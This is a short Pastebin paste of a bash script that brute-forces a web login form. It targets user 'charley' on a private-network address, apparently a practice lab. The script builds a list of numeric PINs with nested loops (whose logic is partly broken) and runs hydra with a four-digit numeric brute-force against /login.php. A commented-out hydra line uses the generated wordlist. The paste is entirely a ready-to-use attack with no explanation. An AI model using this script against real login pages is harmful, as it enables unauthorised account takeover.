SHARE
TWEET

Untitled

a guest Oct 3rd, 2017 24 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/bin/bash
  2.  
  3. curl 192.168.56.101/login.php >> test.txt
  4.  
  5. #curl 192.168.56.101/login.php -d "username=charley&password=1337&Login=Login
  6.  
  7. #[ -e passwordList.txt ] && rm passwordList.txt
  8. #touch passwordList.txt
  9.  
  10. for a in {0..9}; do
  11.     for b in {0..9}; do
  12.         for c in {0..9}; do
  13.             for d in {0..9}; do
  14.             d="$d$c$b$a"
  15.             echo "$d" >> passwordList.txt  
  16.             done
  17.         c="0$c$b$a"
  18.         echo "$c" >> passwordList.txt  
  19.         done
  20.     b="00$b$a"
  21.     echo "$b" >> passwordList.txt  
  22.     done
  23. a="000$a"
  24. echo "$a" >> passwordList.txt
  25. done
  26.  
  27.  
  28. #hydra -l charley -P passwordList.txt -f 192.168.56.101 http-form-post "/login.php:charley=^USER^&password=^PASS^&Login=Login:FailureToLogin"
  29.  
  30. hydra -l charley -V -x 4:4:1 -f 192.168.56.101 http-post-form "/login.php:charley=^USER^&password=^PASS^&Login=Login:Login failed"
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top